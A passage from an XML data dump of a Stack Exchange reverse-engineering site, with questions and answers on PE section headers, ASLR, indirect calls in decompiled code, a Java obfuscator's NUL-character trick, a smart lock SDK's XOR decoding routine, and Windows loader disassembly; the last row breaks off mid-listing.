  <row Id="25753" PostTypeId="2" ParentId="25752" CreationDate="2020-08-26T15:47:07.167" Score="3" Body="&lt;p&gt;As i Commented it seems the tool You used is misusing a Name&lt;br /&gt;&#xA;The &lt;strong&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header&quot; rel=&quot;nofollow noreferrer&quot;&gt;Section Header is Documented&lt;/a&gt;&lt;/strong&gt; Thus&lt;/p&gt;&#xA;&lt;p&gt;As Can be Seen The Second Member of the Structure is an Union Misc&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;union {&#xA;    DWORD PhysicalAddress;&#xA;    DWORD VirtualSize;&#xA;  } Misc;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So Your tool Should probably be using it as Misc.PhysicalAddress&lt;br /&gt;&#xA;or it should simply use it as&#xA;VirtualSize as PhysicalAddress is not relevent to usermode Executables ( it used to be used in obj files )&lt;/p&gt;&#xA;&lt;p&gt;ollydbg section display&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;013001F0    2E 74 65 78&amp;gt;ASCII &amp;quot;.text&amp;quot;        ; SECTION&#xA;013001F8    8C6D0100    DD 00016D8C          ;  VirtualSize = 16D8C (93580.)&#xA;013001FC    00100000    DD 00001000          ;  VirtualAddress = 1000&#xA;01300200    006E0100    DD 00016E00          ;  SizeOfRawData = 16E00 (93696.)&#xA;01300204    00040000    DD 00000400          ;  PointerToRawData = 400&#xA;01300208    00000000    DD 00000000          ;  PointerToRelocations = 0&#xA;0130020C    00000000    DD 00000000          ;  PointerToLineNumbers = 0&#xA;01300210    0000        DW 0000              ;  NumberOfRelocations = 0&#xA;01300212    0000        DW 0000              ;  NumberOfLineNumbers = 0&#xA;01300214    20000060    DD 60000020          ;  Characteristics = CODE|EXECUTE|READ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;windbg section Display&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SECTION HEADER #1&#xA;   .text name&#xA;   16D8C virtual size&#xA;    1000 virtual address&#xA;   16E00 size of raw data&#xA;     400 file pointer to raw data&#xA;       0 file pointer to relocation table&#xA;       0 file pointer to line numbers&#xA;       0 number of relocations&#xA;       0 number of line numbers&#xA;60000020 flags&#xA;         Code&#xA;         (no align specified)&#xA;         Execute Read&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Dumpbin or visualStudio Linker Display of Section&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /section:.text cdb.exe&#xA;Microsoft (R) COFF/PE Dumper Version 14.16.27035.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file cdb.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;SECTION HEADER #1&#xA;   .text name&#xA;   16D8C virtual size&#xA;    1000 virtual address (00401000 to 00417D8B)&#xA;   16E00 size of raw data&#xA;     400 file pointer to raw data (00000400 to 000171FF)&#xA;       0 file pointer to relocation table&#xA;       0 file pointer to line numbers&#xA;       0 number of relocations&#xA;       0 number of line numbers&#xA;60000020 flags&#xA;         Code&#xA;         Execute Read&#xA;&#xA;  Summary&#xA;&#xA;       17000 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this field's usage according to Matt Pietrek peering inside pe article &lt;a href=&quot;https://bytepointer.com/resources/pietrek_peering_inside_pe.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;copy&lt;/a&gt;&lt;br /&gt;&#xA;(microsoft simply dumped all contents into some gutter and only promotes windows 10 so i couldn't locate the original of msdn magazines)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;union {  &#xA;&#xA;    DWORD   PhysicalAddress  &#xA;&#xA;    DWORD   VirtualSize  &#xA;&#xA;} Misc;  &#xA;&#xA;This field has different meanings, in EXEs or OBJs. In an EXE, &#xA;it   holds the actual size of the code or data. This is the size &#xA;before   rounding up to the nearest file alignment multiple. The   &#xA;SizeOfRawData field (seems a bit of a misnomer) later on in the   &#xA;structure holds the rounded up value. The Borland linker reverses   &#xA;the meaning of these two fields and appears to be correct. For OBJ   &#xA;files, this field indicates the physical address of the section. The      &#xA;first section starts at address 0. To find the physical address in   &#xA;an OBJ file of the next section, add the SizeOfRawData value to the   &#xA;physical address of the current section.  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-08-26T16:59:28.380" LastActivityDate="2020-08-26T16:59:28.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25755" PostTypeId="1" AcceptedAnswerId="25759" CreationDate="2020-08-27T01:20:05.850" Score="0" ViewCount="598" Body="&lt;p&gt;So I'm trying to understand how a process is assigned a base address once its loaded into memory. If I understand correctly each process has its own virtual address space, and each virtual address is mapped to physical memory locations by the mmu and each process believes they have the virtual range 0x00000000 through 0x7FFFFFFF for themselves in the x86 architechture.&lt;/p&gt;&#xA;&lt;p&gt;Lets say I have program 1 .exe that is loaded at the virtual address 0x121000&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ohJzC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ohJzC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and lets say I have another program called program 2.exe that is loaded in the virtual address 0xF71000&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qraK6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qraK6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If both programs have their own virtual address space why aren't they loaded at the same virtual address by default? and is it possible for the programs to load at a different virtual address if they are executed again or will program 1.exe always be loaded at address 0x121000 every time its executed?&lt;/p&gt;&#xA;" OwnerUserId="34232" LastEditorUserId="34232" LastEditDate="2020-08-27T01:57:03.773" LastActivityDate="2020-08-27T07:15:09.843" Title="How are processes assigned a virtual base address" Tags="|windows|virtual-memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25756" PostTypeId="1" AcceptedAnswerId="25758" CreationDate="2020-08-27T02:27:23.180" Score="0" ViewCount="70" Body="&lt;p&gt;Im trying to recognise where is my targeted function &lt;code&gt;int64 __fastcall sub_1400CE4F0(__int64 a1, const char *a2)&lt;/code&gt;executed. When stepping through this function, after &lt;code&gt;return&lt;/code&gt; it's redirecting me here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ( *(_QWORD *)(v9 + v8 + 8) || *(_QWORD *)(v9 + v8 + 16) )&#xA;  (*(void (__fastcall **)(_QWORD, __int64))(v9 + v8 + 16))(*(_QWORD *)(v9 + v8 + 8), v4);&#xA;if ( v5 == 0xFFFFFFF ) //Here..&#xA;  v5 = *((_DWORD *)v2 + 9);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where is this function executed? Am I in the right place?&lt;/li&gt;&#xA;&lt;li&gt;Is it hidden in those cast's? How can I understand them? (Maybe it's hidden in those casts?)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="32570" LastActivityDate="2020-08-27T07:07:47.913" Title="Cant recognise where is my targeted function executed" Tags="|ida|x86-64|game-hacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25757" PostTypeId="2" ParentId="24561" CreationDate="2020-08-27T02:51:58.300" Score="3" Body="&lt;p&gt;The obfuscator probably used the '\u0000' &amp;quot;exploit&amp;quot;.&#xA;This character is known as NUL terminator and its used for terminate the length of a character string in C/C++.&#xA;All renamed classes will contain that character, this will confuse tools like 7Zip, WinRar etc..&lt;/p&gt;&#xA;&lt;p&gt;Quick explanation:&lt;/p&gt;&#xA;&lt;p&gt;=======&lt;/p&gt;&#xA;&lt;p&gt;Original file names:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Main.class&lt;/li&gt;&#xA;&lt;li&gt;Main2.class&lt;/li&gt;&#xA;&lt;li&gt;Main3.class&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Renamed file names:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Main.class\u0000.class -&amp;gt; 7Zip -&amp;gt; &lt;em&gt;Main.class&lt;/em&gt; (\u0000 is the string end so the other characters will be not displayed)&lt;/li&gt;&#xA;&lt;li&gt;Main.class\u0000&lt;strong&gt;2&lt;/strong&gt;.class -&amp;gt; 7Zip -&amp;gt; &lt;em&gt;Main.class&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Main.class\u0000&lt;strong&gt;3&lt;/strong&gt;.class -&amp;gt; 7Zip -&amp;gt; &lt;em&gt;Main.class&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;=======&lt;/p&gt;&#xA;&lt;p&gt;Try to use &lt;a href=&quot;https://github.com/TerriblePanda/JByteMod-Reborn&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/TerriblePanda/JByteMod-Reborn&lt;/a&gt; or &lt;a href=&quot;https://github.com/GraxCode/threadtear&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GraxCode/threadtear&lt;/a&gt; to decompile your jar.&lt;/p&gt;&#xA;&lt;p&gt;Probable obfuscator used: &lt;a href=&quot;https://paramorphism.dev/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://paramorphism.dev/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34252" LastEditorUserId="27706" LastEditDate="2020-09-28T21:50:48.870" LastActivityDate="2020-09-28T21:50:48.870" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25758" PostTypeId="2" ParentId="25756" CreationDate="2020-08-27T07:07:47.913" Score="0" Body="&lt;p&gt;You can see in the line:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;(*(void (__fastcall **)(_QWORD, __int64))(v9 + v8 + 16))(*(_QWORD *)(v9 + v8 + 8), v4);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;That you have an indirect function call - a function that is called by a value of a variable, and not by a direct address.&lt;/p&gt;&#xA;&lt;p&gt;Your function has the following signature:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;void your_func(QWORD, __int64)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;And the function itself comes from the &lt;code&gt;v9 + v8 + 16&lt;/code&gt; variables.&lt;/p&gt;&#xA;&lt;p&gt;So &lt;code&gt;v9 + v8 + 8&lt;/code&gt; is the first parameter of the function, and &lt;code&gt;v4&lt;/code&gt; is the second parameter.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-08-27T07:07:47.913" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25759" PostTypeId="2" ParentId="25755" CreationDate="2020-08-27T07:15:09.843" Score="1" Body="&lt;p&gt;I believe what makes the difference is &lt;code&gt;ASLR - Adress Space Layout Randomization&lt;/code&gt; - &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;Read about it here&lt;/a&gt; - so basically it's just a layer of security protection.&lt;/p&gt;&#xA;&lt;p&gt;It's indeed possible to load two different processes to the same virtual address base - the virtual address abstraction makes it possible.&lt;/p&gt;&#xA;&lt;p&gt;The loading base address of a process will most likely be kept the same until your next reboot.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-08-27T07:15:09.843" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25760" PostTypeId="1" CreationDate="2020-08-28T00:20:05.757" Score="2" ViewCount="691" Body="&lt;p&gt;I'v been trying to reverse-engineer a BLE &amp;quot;Smartlock&amp;quot; to open it using Python instead of the App that it came with.&lt;/p&gt;&#xA;&lt;p&gt;I progressed quite far with disassembling the SDK they provide, identifying BLE packets, headers and all, but now I'm stuck.&#xA;It contains a .so file inside the Java library which is reponsible for encoding and decoding the data that is sent from and to the lock.&#xA;It takes two arguments and returns the en- or decrypted data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// .java - The data as a byte array and a single byte to somehow encrypt it all&#xA;public static native byte[] decodeWithEncryptByte(byte[] dataByteArray, byte encryptByte);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Maybe it's even an algorighm that is well known/has a name, but I'm completely stuck. Any tip would be helpful, even in human-readable pseudocode!&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;decodeWithEncriptByte&lt;/code&gt; part follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000a20 &amp;lt;Java_com_scaf_android_client_CodecUtils_decodeWithEncrypt&amp;gt;:&#xA;.text:00000a20 55                               push   %ebp&#xA;.text:00000a21 57                               push   %edi&#xA;.text:00000a22 56                               push   %esi&#xA;.text:00000a23 53                               push   %ebx&#xA;.text:00000a24 e8 97 fb ff ff                   call   0x000005c0&#xA;.text:00000a29 81 c3 b7 25 00 00                add    $0x25b7,%ebx&#xA;.text:00000a2f 8d 64 24 c4                      lea    -0x3c(%esp),%esp&#xA;.text:00000a33 8b 74 24 50                      mov    0x50(%esp),%esi&#xA;.text:00000a37 0f b6 44 24 5c                   movzbl 0x5c(%esp),%eax&#xA;.text:00000a3c 8b 4c 24 58                      mov    0x58(%esp),%ecx&#xA;.text:00000a40 88 44 24 2f                      mov    %al,0x2f(%esp)&#xA;.text:00000a44 8b 06                            mov    (%esi),%eax&#xA;.text:00000a46 89 4c 24 04                      mov    %ecx,0x4(%esp)&#xA;.text:00000a4a c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)&#xA;.text:00000a52 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000a55 ff 90 e0 02 00 00                call   *0x2e0(%eax)&#xA;.text:00000a5b 8b 7c 24 58                      mov    0x58(%esp),%edi&#xA;.text:00000a5f 89 44 24 20                      mov    %eax,0x20(%esp)&#xA;.text:00000a63 8b 06                            mov    (%esi),%eax&#xA;.text:00000a65 89 7c 24 04                      mov    %edi,0x4(%esp)&#xA;.text:00000a69 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000a6c ff 90 ac 02 00 00                call   *0x2ac(%eax)&#xA;.text:00000a72 89 c5                            mov    %eax,%ebp&#xA;.text:00000a74 8b 06                            mov    (%esi),%eax&#xA;.text:00000a76 89 6c 24 04                      mov    %ebp,0x4(%esp)&#xA;.text:00000a7a 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000a7d ff 90 c0 02 00 00                call   *0x2c0(%eax)&#xA;.text:00000a83 8b 4c 24 20                      mov    0x20(%esp),%ecx&#xA;.text:00000a87 89 c7                            mov    %eax,%edi&#xA;.text:00000a89 8b 06                            mov    (%esi),%eax&#xA;.text:00000a8b 89 4c 24 10                      mov    %ecx,0x10(%esp)&#xA;.text:00000a8f 89 6c 24 0c                      mov    %ebp,0xc(%esp)&#xA;.text:00000a93 c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)&#xA;.text:00000a9b 89 7c 24 04                      mov    %edi,0x4(%esp)&#xA;.text:00000a9f 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000aa2 ff 90 40 03 00 00                call   *0x340(%eax)&#xA;.text:00000aa8 8b 06                            mov    (%esi),%eax&#xA;.text:00000aaa c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)&#xA;.text:00000ab2 89 7c 24 04                      mov    %edi,0x4(%esp)&#xA;.text:00000ab6 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000ab9 ff 90 e0 02 00 00                call   *0x2e0(%eax)&#xA;.text:00000abf 89 44 24 24                      mov    %eax,0x24(%esp)&#xA;.text:00000ac3 8b 06                            mov    (%esi),%eax&#xA;.text:00000ac5 89 7c 24 04                      mov    %edi,0x4(%esp)&#xA;.text:00000ac9 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000acc ff 90 ac 02 00 00                call   *0x2ac(%eax)&#xA;.text:00000ad2 89 44 24 28                      mov    %eax,0x28(%esp)&#xA;.text:00000ad6 85 c0                            test   %eax,%eax&#xA;.text:00000ad8 7e 3f                            jle    0x00000b19&#xA;.text:00000ada 8b 7c 24 24                      mov    0x24(%esp),%edi&#xA;.text:00000ade 89 c1                            mov    %eax,%ecx&#xA;.text:00000ae0 89 74 24 50                      mov    %esi,0x50(%esp)&#xA;.text:00000ae4 0f b6 e8                         movzbl %al,%ebp&#xA;.text:00000ae7 0f b6 74 24 2f                   movzbl 0x2f(%esp),%esi&#xA;.text:00000aec 89 f8                            mov    %edi,%eax&#xA;.text:00000aee 01 cf                            add    %ecx,%edi&#xA;.text:00000af0 8b 8b fc ff ff ff                mov    -0x4(%ebx),%ecx&#xA;.text:00000af6 8d 76 00                         lea    0x0(%esi),%esi&#xA;.text:00000af9 8d bc 27 00 00 00 00             lea    0x0(%edi,%eiz,1),%edi&#xA;.text:00000b00 89 f2                            mov    %esi,%edx&#xA;.text:00000b02 83 c0 01                         add    $0x1,%eax&#xA;.text:00000b05 32 50 ff                         xor    -0x1(%eax),%dl&#xA;.text:00000b08 88 50 ff                         mov    %dl,-0x1(%eax)&#xA;.text:00000b0b 32 14 29                         xor    (%ecx,%ebp,1),%dl&#xA;.text:00000b0e 88 50 ff                         mov    %dl,-0x1(%eax)&#xA;.text:00000b11 39 f8                            cmp    %edi,%eax&#xA;.text:00000b13 75 eb                            jne    0x00000b00&#xA;.text:00000b15 8b 74 24 50                      mov    0x50(%esp),%esi&#xA;.text:00000b19 8b 7c 24 28                      mov    0x28(%esp),%edi&#xA;.text:00000b1d 8b 06                            mov    (%esi),%eax&#xA;.text:00000b1f 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000b22 89 7c 24 04                      mov    %edi,0x4(%esp)&#xA;.text:00000b26 ff 90 c0 02 00 00                call   *0x2c0(%eax)&#xA;.text:00000b2c 8b 4c 24 24                      mov    0x24(%esp),%ecx&#xA;.text:00000b30 8b 16                            mov    (%esi),%edx&#xA;.text:00000b32 89 7c 24 0c                      mov    %edi,0xc(%esp)&#xA;.text:00000b36 89 4c 24 10                      mov    %ecx,0x10(%esp)&#xA;.text:00000b3a 89 44 24 04                      mov    %eax,0x4(%esp)&#xA;.text:00000b3e 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000b41 c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)&#xA;.text:00000b49 89 44 24 24                      mov    %eax,0x24(%esp)&#xA;.text:00000b4d ff 92 40 03 00 00                call   *0x340(%edx)&#xA;.text:00000b53 8b 44 24 20                      mov    0x20(%esp),%eax&#xA;.text:00000b57 8b 16                            mov    (%esi),%edx&#xA;.text:00000b59 89 34 24                         mov    %esi,(%esp)&#xA;.text:00000b5c 89 44 24 08                      mov    %eax,0x8(%esp)&#xA;.text:00000b60 8b 44 24 58                      mov    0x58(%esp),%eax&#xA;.text:00000b64 c7 44 24 0c 00 00 00 00          movl   $0x0,0xc(%esp)&#xA;.text:00000b6c 89 44 24 04                      mov    %eax,0x4(%esp)&#xA;.text:00000b70 ff 92 00 03 00 00                call   *0x300(%edx)&#xA;.text:00000b76 8b 44 24 24                      mov    0x24(%esp),%eax&#xA;.text:00000b7a 8d 64 24 3c                      lea    0x3c(%esp),%esp&#xA;.text:00000b7e 5b                               pop    %ebx&#xA;.text:00000b7f 5e                               pop    %esi&#xA;.text:00000b80 5f                               pop    %edi&#xA;.text:00000b81 5d                               pop    %ebp&#xA;.text:00000b82 c3                               ret    &#xA;.text:00000b83 8d b6 00 00 00 00                lea    0x0(%esi),%esi&#xA;.text:00000b89 8d bc 27 00 00 00 00             lea    0x0(%edi,%eiz,1),%edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Similarly, the encode process is probably very similar.&lt;/p&gt;&#xA;&lt;p&gt;I have used a online disassembler to analyse the Assembly and the opened file &lt;a href=&quot;https://onlinedisassembler.com/odaweb/0JSPB8ns/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;is available over there&lt;/a&gt; as well, if anyone has a clue what's going on here!&lt;/p&gt;&#xA;&lt;p&gt;Any help is &lt;em&gt;greatly&lt;/em&gt; appreciated!&lt;/p&gt;&#xA;&lt;p&gt;EDIT: The file is available here: &lt;a href=&quot;https://github.com/ttlock/Android_SDK_Demo/blob/master/app/libs/ttlock-release-3.0.7.aar&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ttlock/Android_SDK_Demo/blob/master/app/libs/ttlock-release-3.0.7.aar&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To view the specific file in question, you only need to download it and extract it, inside is a folder named &lt;code&gt;jni/&lt;/code&gt; with the different architectures of the same thing&lt;/p&gt;&#xA;&lt;p&gt;The device is a TTLock and I'm looking to reverse-engineer it to make it fully open-source, so that people can make custom gateways to the locks, permitting it to work locally (current Gateway only supports Web-operation... and phones China for that). I have 5 TTLocks here, although they're nice locks, it's a bummer that they don't work over LAN when the internet is down.&lt;/p&gt;&#xA;" OwnerUserId="34253" LastEditorUserId="34253" LastEditDate="2020-08-31T21:28:55.833" LastActivityDate="2021-04-10T15:34:24.953" Title="Getting the algorithm used inside this .so file" Tags="|disassembly|assembly|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25761" PostTypeId="1" AcceptedAnswerId="25765" CreationDate="2020-08-28T08:55:24.760" Score="0" ViewCount="374" Body="&lt;p&gt;I have the following disassembly of winload!CmpFindNlsData function and I need to check the output parameters of this function.&#xA;P.S.: &lt;code&gt;CmpFindNLSData(int a1&amp;lt;eax&amp;gt;, int a2, PUNICODE_STRING pAnsiFileName, PUNICODE_STRING pOemFileName, PUNICODE_STRING pustrDefaultLanguage, PUNICODE_STRING pustrOemHalFontName)&lt;/code&gt; could be the declaration of this function. This is my first attempt at reverse engineering, could someone please guide through the steps I could take up to define the algorithm of this function.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;winload!CmpFindNLSData:&#xA;00893c10 8bff            mov     edi,edi&#xA;00893c12 55              push    ebp&#xA;00893c13 8bec            mov     ebp,esp&#xA;00893c15 83ec40          sub     esp,40h&#xA;00893c18 53              push    ebx&#xA;00893c19 56              push    esi&#xA;00893c1a 57              push    edi&#xA;00893c1b 8d45e0          lea     eax,[ebp-20h]&#xA;00893c1e 8bf1            mov     esi,ecx&#xA;00893c20 50              push    eax&#xA;00893c21 33db            xor     ebx,ebx&#xA;00893c23 8975ec          mov     dword ptr [ebp-14h],esi&#xA;00893c26 83cfff          or      edi,0FFFFFFFFh&#xA;00893c29 895dcc          mov     dword ptr [ebp-34h],ebx&#xA;00893c2c 52              push    edx&#xA;00893c2d 56              push    esi&#xA;00893c2e 897dc8          mov     dword ptr [ebp-38h],edi&#xA;00893c31 897dd0          mov     dword ptr [ebp-30h],edi&#xA;00893c34 895dd4          mov     dword ptr [ebp-2Ch],ebx&#xA;00893c37 897de0          mov     dword ptr [ebp-20h],edi&#xA;00893c3a 895de4          mov     dword ptr [ebp-1Ch],ebx&#xA;00893c3d 897dc0          mov     dword ptr [ebp-40h],edi&#xA;00893c40 895dc4          mov     dword ptr [ebp-3Ch],ebx&#xA;00893c43 895de8          mov     dword ptr [ebp-18h],ebx&#xA;00893c46 ff5604          call    dword ptr [esi+4]&#xA;00893c49 85c0            test    eax,eax&#xA;00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893c51 8d4df4          lea     ecx,[ebp-0Ch]&#xA;00893c54 8bd0            mov     edx,eax&#xA;00893c56 51              push    ecx&#xA;00893c57 68b8208e00      push    offset winload!CmpControlString (008e20b8)&#xA;00893c5c 8bce            mov     ecx,esi&#xA;00893c5e e869510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)&#xA;00893c63 8d45e0          lea     eax,[ebp-20h]&#xA;00893c66 50              push    eax&#xA;00893c67 56              push    esi&#xA;00893c68 ff5608          call    dword ptr [esi+8]&#xA;00893c6b 397df4          cmp     dword ptr [ebp-0Ch],edi&#xA;00893c6e 0f843a010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893c74 8d45e0          lea     eax,[ebp-20h]&#xA;00893c77 50              push    eax&#xA;00893c78 ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893c7b 56              push    esi&#xA;00893c7c ff5604          call    dword ptr [esi+4]&#xA;00893c7f 85c0            test    eax,eax&#xA;00893c81 0f8427010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893c87 8d4df4          lea     ecx,[ebp-0Ch]&#xA;00893c8a 8bd0            mov     edx,eax&#xA;00893c8c 51              push    ecx&#xA;00893c8d 68f8208e00      push    offset winload!CmpNlsString (008e20f8)&#xA;00893c92 8bce            mov     ecx,esi&#xA;00893c94 e833510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)&#xA;00893c99 8d45e0          lea     eax,[ebp-20h]&#xA;00893c9c 50              push    eax&#xA;00893c9d 56              push    esi&#xA;00893c9e ff5608          call    dword ptr [esi+8]&#xA;00893ca1 397df4          cmp     dword ptr [ebp-0Ch],edi&#xA;00893ca4 0f8404010000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893caa 8d45e0          lea     eax,[ebp-20h]&#xA;00893cad 50              push    eax&#xA;00893cae ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893cb1 56              push    esi&#xA;00893cb2 ff5604          call    dword ptr [esi+4]&#xA;00893cb5 85c0            test    eax,eax&#xA;00893cb7 0f84f1000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893cbd 8d4df4          lea     ecx,[ebp-0Ch]&#xA;00893cc0 8bd0            mov     edx,eax&#xA;00893cc2 51              push    ecx&#xA;00893cc3 6808218e00      push    offset winload!CmpCodePageString (008e2108)&#xA;00893cc8 8bce            mov     ecx,esi&#xA;00893cca e8fd500000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)&#xA;00893ccf 8d45e0          lea     eax,[ebp-20h]&#xA;00893cd2 50              push    eax&#xA;00893cd3 56              push    esi&#xA;00893cd4 ff5608          call    dword ptr [esi+8]&#xA;00893cd7 397df4          cmp     dword ptr [ebp-0Ch],edi&#xA;00893cda 0f84ce000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893ce0 8d45e0          lea     eax,[ebp-20h]&#xA;00893ce3 50              push    eax&#xA;00893ce4 ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893ce7 56              push    esi&#xA;00893ce8 ff5604          call    dword ptr [esi+4]&#xA;00893ceb 85c0            test    eax,eax&#xA;00893ced 0f84bb000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893cf3 6870228e00      push    offset winload!CmpAcpString (008e2270)&#xA;00893cf8 8bd0            mov     edx,eax&#xA;00893cfa 8bce            mov     ecx,esi&#xA;00893cfc e885330000      call    winload!CmpFindValueByName (00897086)&#xA;00893d01 8bf8            mov     edi,eax&#xA;00893d03 8d45e0          lea     eax,[ebp-20h]&#xA;00893d06 50              push    eax&#xA;00893d07 56              push    esi&#xA;00893d08 ff5608          call    dword ptr [esi+8]&#xA;00893d0b 83ffff          cmp     edi,0FFFFFFFFh&#xA;00893d0e 0f849a000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893d14 8d45d0          lea     eax,[ebp-30h]&#xA;00893d17 50              push    eax&#xA;00893d18 57              push    edi&#xA;00893d19 56              push    esi&#xA;00893d1a ff5604          call    dword ptr [esi+4]&#xA;00893d1d 85c0            test    eax,eax&#xA;00893d1f 0f8489000000    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893d25 8d4dc8          lea     ecx,[ebp-38h]&#xA;00893d28 8bd7            mov     edx,edi&#xA;00893d2a 51              push    ecx&#xA;00893d2b 8d4df8          lea     ecx,[ebp-8]&#xA;00893d2e 51              push    ecx&#xA;00893d2f 50              push    eax&#xA;00893d30 8bce            mov     ecx,esi&#xA;00893d32 e8c7340000      call    winload!CmpValueToData (008971fe)&#xA;00893d37 8bf8            mov     edi,eax&#xA;00893d39 8d45d0          lea     eax,[ebp-30h]&#xA;00893d3c 50              push    eax&#xA;00893d3d 56              push    esi&#xA;00893d3e 897ddc          mov     dword ptr [ebp-24h],edi&#xA;00893d41 ff5608          call    dword ptr [esi+8]&#xA;00893d44 85ff            test    edi,edi&#xA;00893d46 7466            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893d48 8b55f8          mov     edx,dword ptr [ebp-8]&#xA;00893d4b 33c9            xor     ecx,ecx&#xA;00893d4d 33c0            xor     eax,eax&#xA;00893d4f 668955da        mov     word ptr [ebp-26h],dx&#xA;00893d53 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893d57 c745f002000000  mov     dword ptr [ebp-10h],2&#xA;00893d5e 663bc2          cmp     ax,dx&#xA;00893d61 731d            jae     winload!CmpFindNLSData+0x170 (00893d80)&#xA;00893d63 8b75f0          mov     esi,dword ptr [ebp-10h]&#xA;00893d66 0fb7c1          movzx   eax,cx&#xA;00893d69 d1e8            shr     eax,1&#xA;00893d6b 66391c47        cmp     word ptr [edi+eax*2],bx&#xA;00893d6f 740c            je      winload!CmpFindNLSData+0x16d (00893d7d)&#xA;00893d71 6603ce          add     cx,si&#xA;00893d74 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893d78 663bca          cmp     